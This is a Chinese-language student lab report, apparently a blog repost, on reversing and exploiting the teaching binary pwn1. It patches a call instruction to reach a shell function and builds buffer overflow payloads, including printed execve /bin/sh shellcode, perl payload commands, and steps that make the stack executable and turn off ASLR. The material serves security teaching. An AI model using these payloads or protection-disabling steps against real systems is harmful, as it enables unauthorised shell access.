• 20181202《网络对抗》Exp1 PC平台逆向破解(5)M


    目标一:熟悉机器码

    掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
    

    先使用file指令查看pwn1文件类型,类型为32位ELF可执行文件

    ┌──(liyiming㉿liyiming)-[~/桌面/20181202exp1]
    └─$ file pwn1                              
    pwn1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=fb55ff390641d9430666f4c373725241894ef5a5, not stripped
    
    

    对pwn1进行反汇编,查看机器码

    ┌──(liyiming㉿liyiming)-[~/桌面/20181202exp1]
    └─$ objdump -d pwn1 | more
    ...
     8048307:       74 05                   je     804830e <_init+0x1e>
    ...
     8048326:       ff 25 08 a0 04 08       jmp    *0x804a008
    ...
     80483ca:       83 f8 06                cmp    $0x6,%eax
    ...
     8048406:       75 01                   jne    8048409 <register_tm_clones+0x19>
    ...
     8048534:       90                      nop
    

    目标二:反汇编与十六进制编程器

    掌握反汇编与十六进制编程器
    

    使用objdump指令进行反汇编

    使用十六进制查看器进行反汇编

    1. 安装十六进制查看器

      ┌──(liyiming㉿liyiming)-[~/桌面/20181202exp1]
      └─$ sudo apt-get install wxhexeditor
      ┌──(liyiming㉿liyiming)-[~/桌面/20181202exp1]
      └─$ wxHexEditor
      

      测试打开成功

    2. 在wxHexEditor中打开pwn1

    目的三:修改机器指令改变程序执行流程

    能正确修改机器指令改变程序执行流程
    

    1.反汇编查看命令

    pwn1进行反汇编

    可以观察到:

    • getshell函数的地址是804847d
    • foo函数的地址8048491

    在main函数中的call指令后将跳转至函数foo的地址8048491,此时EIP指向的下条指令地址应为80484ba。所以想要让main函数调用getshell函数,只需要call之后的值进行修改。

    查看call的机器码e8 d7 ff ff ff,其中e8为跳转之意,则修改d7即可使程序执行getshell,计算foo与getshell在内存地址的差值为14,则用d7减14得c3。

    2.修改汇编代码

    vim pwn1
    

    按esc进入命令模式,输入:%!xxd,将显示模式切换为16进制模式

    查找要修改的内容:/d7

    i进入插入模式,将d7改为c3

    :%!xxd -r转换十六进制为原格式, :wq保存,退出,验证修改结果

    修改成功

    目的四:构造payload进行bof攻击

    能正确构造payload进行bof攻击
    

    1.通过构造输入参数,造成BOF攻击,改变程序执行流

    对pwn1程序进行反汇编,查看其程序执行流程

    objdump -d pwn1 
    
    • 目标是触发getsell函数

    • 该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞

    • 这里读入字符串,但系统只预留了字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址

    • 确认输入字符串哪几个字符会覆盖到返回地址

    • 选择 “ 1111111122222222333333334444444455555555 ” 来测试,容易标识使用

    • gdb pwn1进入调试页面

    • 使用命令info r查看各个寄存器的值

    • 此时注意到eip的值为ASCII的5,即在输入字符串的“5”的部分发生溢出。所以尝试将5的部分改为其他数字进行比对

    • 将“55555555”改成“12345678”,输入info r查看寄存器注意寄存器eip的值,如图“0x34333231 0x34333231”,换算成ASCⅡ码刚好是1234。1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。

    • 只要把这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell。

    • 接下来要确认下字节序,简单说是输入,还是输入11111111222222223333333344444444x08x04x84x7d,还是11111111222222223333333344444444x7dx84x04x08

    • 对比之前eip 0x34333231 0x34333231,正确应用输入1111111222222223333333344444444x7dx84x04x08

    • 由于我们没法通过键盘输入x7dx84x04x08这样的16进制值,所以先生成包括这样字符串的一个文件。x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。

    • 使用16进制查看指令xxd查看input文件的内容是否如预期。

    • 将input的输入,通过管道符“|”,作为pwn1的输入。

      ![ages/image-20210310214614098.png)

    cat:用于连接文件并打印到标准输出设备上,在此处是将input中的内容作为输入存放在cat中,并与此为输入执行pwn1中的foo函数。注意,必须使用()确保调用pwn1前的逻辑关系。

    • 测试成功

    2.注入shellcode并执行

    • 准备一段shellcode,这里参考实验指导中给出的shellcode(gitee中的链接已经没有了)

      x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80
      
    • 使用execstack -s pwn1设置堆栈可执行,此处建议先进行虚拟机快照,以免出现严重问题

    2021版kali需安装execstack,参考班课文件

    • 使用命令execstack -q pwn1查询文件堆栈是否可执行

    • 使用命令

      more /proc/sys/kernel/randomize_va_space
      echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
      more /proc/sys/kernel/randomize_va_space 
      

    • 构造要注入的payload

    • Linux下有两种基本构造攻击buf的方法:retaddr+nop+shellcode nop+shellcode+retaddr

    • 因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面

    • 简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边

    • 我们这个buf够放这个shellcode

    • 结构为:anything+retaddr+nops+shellcode

    • nop一为是了填充,二是作为“着陆区/滑行区”。我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。

    • 使用命令

      perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode
      

    • 上面最后的x4x3x2x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。

      特别提醒:最后一个字符千万不能是x0a(不自动回车)。不然下面的操作就做不了了。

    • 接下来我们来确定x4x3x2x1到底该填什么。
      打开一个终端注入这段攻击buf:

    • 再打开另外一个终端,用gdb来调试pwn1这个进程,使用命令ps -ef | grep pwn1

    • 找到pwn1的进程号是: 193512

    • 启动gdb调试这个进程

    • 通过设置断点,来查看注入buf的内存地址 disassemble foo

    • 断在ret,这时注入的东西都在堆栈上了,ret完,就跳到我们覆盖的retaddr那个地方了

    • 在另外一个终端中按下回车,这就是前面为什么不能以x0a来结束 input_shellcode的原因。

    • 使用break *0x080484ae设置断点,并输入c继续运行。在pwn1进程正在运行的终端敲回车,使其继续执行。再返回调试终端,使用info r esp查找地址

    • 使用x/16x 0xffffd57c查看其存放内容,看到了01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,所以地址是 0xffffd580。

      这里显示的一个地址可以存储32字节数据,但此处eip地址已经占用了4字节,所以从第28位置开始的地方是shellcode的地址。即0xd57c+0x04=0xd580

    • 将返回地址改为0xffffd580

    • 再执行程序,果不其然运行失败

    重新开始

    • 结构为:anything+retaddr+nops+shellcode

    • 重新构建 shellcode

      perl -e 'print "A" x 32;print "x??x??x??x??x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x80xd5xffxffx00"' > input_shellcode
      
    • 与之前的步骤相同,在gdb中调试寻找?处应填的地址

    • 0xffffd580处找到了0x90909090,再将??处的地址进行修改

    • 执行程序

    • 成功

  • 相关阅读:
    在嵌入式设备中实现webrtc的第三种方式①
    海思dv300cv500交叉编译webrtc
    Windows编译运行webrtc全过程
    如何使用C#调用C++类虚函数(即动态内存调用)
    使用Windows的Linux子系统搭建嵌入式开发环境
    Spring进阶教程之在ApplicationContext初始化完成后重定义Bean
    Java与邮件系统交互之使用Socket验证邮箱是否存在
    旧博客内容 & 洛谷日报(转载)
    多项式不全家桶
    NOIP2020游记
  • 原文地址:https://www.cnblogs.com/peterlddlym/p/14547902.html
Copyright © 2020-2023  润新知